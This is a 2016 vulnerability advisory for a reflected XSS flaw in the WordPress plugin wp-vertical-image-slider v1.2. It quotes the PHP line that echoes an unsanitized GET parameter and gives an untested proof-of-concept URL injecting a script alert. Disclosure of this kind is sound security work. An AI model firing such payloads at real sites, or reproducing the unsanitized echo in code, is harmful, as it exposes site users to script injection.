Advisory #: 503
Title: Reflected XSS in wordpress plugin wp-vertical-image-slider v1.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-vertical-image-slider
Downloads: 26629
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-vertical-image-slider
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-vertical-image-slider/wp-vertical-images-thumbnail-slider.php: 1152: <input type="hidden" name="imageid" id="imageid" value="<?php echo $_GET['id'];?>"> The variable id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./wp-vertical-image-slider/wp-vertical-images-thumbnail-slider.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/wp-vertical-image-slider/wp-vertical-images-thumbnail-slider.php?id="><script>alert(1);</script><"